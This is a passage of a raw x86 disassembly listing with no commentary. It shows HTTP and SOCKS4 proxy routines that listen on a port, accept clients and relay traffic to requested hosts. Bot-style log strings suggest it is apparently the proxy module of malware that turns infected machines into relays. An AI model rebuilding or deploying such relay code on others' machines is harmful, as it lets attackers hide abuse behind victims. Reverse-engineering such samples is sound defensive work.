		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		call	near ptr 2830000h
		nop


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		call	near ptr 2830000h
		nop
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2830000h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 2830000h
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
